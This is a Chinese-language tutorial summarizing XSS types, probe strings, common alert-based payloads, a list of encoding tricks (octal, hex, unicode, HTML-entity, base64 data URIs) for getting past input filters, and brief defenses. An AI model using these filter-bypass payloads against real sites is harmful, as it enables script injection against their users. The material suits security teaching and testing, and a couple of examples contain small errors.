对于xss漏洞一些基本的总结~~

00x1 xss分类

1、反射型

     反射型 XSS,非持久化,需要欺骗用户自己去点击链接才能触发 XSS 代码

2、存储型

    存储型 XSS,持久化,代码是存储在服务器中的数据库里,如在个人信息或发表文章等地方,可以插入代码,如果插入的数据没有过滤或过滤不严,那么这些恶意代码没有经过过滤将储存到数据库中,用户访问该页面的时候,没有进行编码过滤输出到浏览器上,就会触发代码执行,造成 xss 攻击。

3、DOM型

    DOM,全称 Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。DOM 型 XSS 其实是一种特殊类型的反射型 XSS,它是基于 DOM 文档对象模型的。

00x2 xss测试语句

    在测试时,应该输入一些标签如<、>输入后查看网页源代码是否过滤标签,如果没过滤,很大可能存在 xss 漏洞。

1、常用的测试语句

1
2
3
4
5
<h5>1</h5>

<span>1</span>

<script>console.log(1);</script>

2、 闭合

1
2
3
"><span>x</span><"

'>"><span>x</span><'

3、单行注释

1
"><span>x</span>//

00x3 常见payload

1
2
3
4
5
6
7
8
9
10
11
12
1、<script>标签
<script>alert('xss')</script>

2、触发事件
onfoucs=javascript:alert('xss')

3、<a>标签
<a href=javascript:alert('xss')>xss</a>

4、<img>标签
<img src=111 onerror=alert('xss')>
(在js中如果src属性的值不正常或无法访问时就可触发onerror事件)

00x4 xss编码绕过

1、gpc过滤字符

    如果 gpc 开启的时候,特殊字符会被加上斜杠即,’变成' 所以xss 攻击代码不要带用单引号或双引号。

2、过滤alert

    当页面过滤掉alert时,使用不出现alert的语句即可,例:

1
2
3
<script>prompt(/xss/);</script>

<script>confirm(1);</script>

3、过滤标签

    ● 在程序里如果使用 html 实体过滤,如在 php 会使用 htmlspecialchars()对输入的字符进行实体化,实体化之后的字符不会在 html 执行。

    ● 就不使用一些实体,如< > ‘ “ &等,如:

1
onclick="javascript:alert(/xss/);

4、ascii编码

1
<script>alert(String.fromCharCode(88,83,83))</script>

5、url编码

1
<a href="javascript:%61%6c%65%72%74%28%32%29">123</a>

6、js编码

    ● 八进制编码

1
<script>eval("\141\154\145\162\164\50\61\51");</script>

    ● 十六进制编码

1
<script>eval("\x61\x6c\x65\x72\x74\x28\x31\x29")</script>

    ● jsunicode 编码

1
<script>\u0061\u006c\u0065\u0072\u0074('xss');</script>

7、html编码

    ● 在=后可以解析html编码

    ● 十进制

1
2
3
<img src=111 onerror="alert(1)" />

<button onclick="confirm('7');">Button</button>

    ● 十六进制

<img src="x" onerror="&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;" />

8、base64编码

1
2
3
4
5
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">111</a>

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>

00x5 xss防御

1、在cookie中添加httponly属性

2、输入检查(对客户端和服务端都要做输入的字符中是否有特殊字符的过滤检查)

3、输出检查(使用编码或者转义的方式)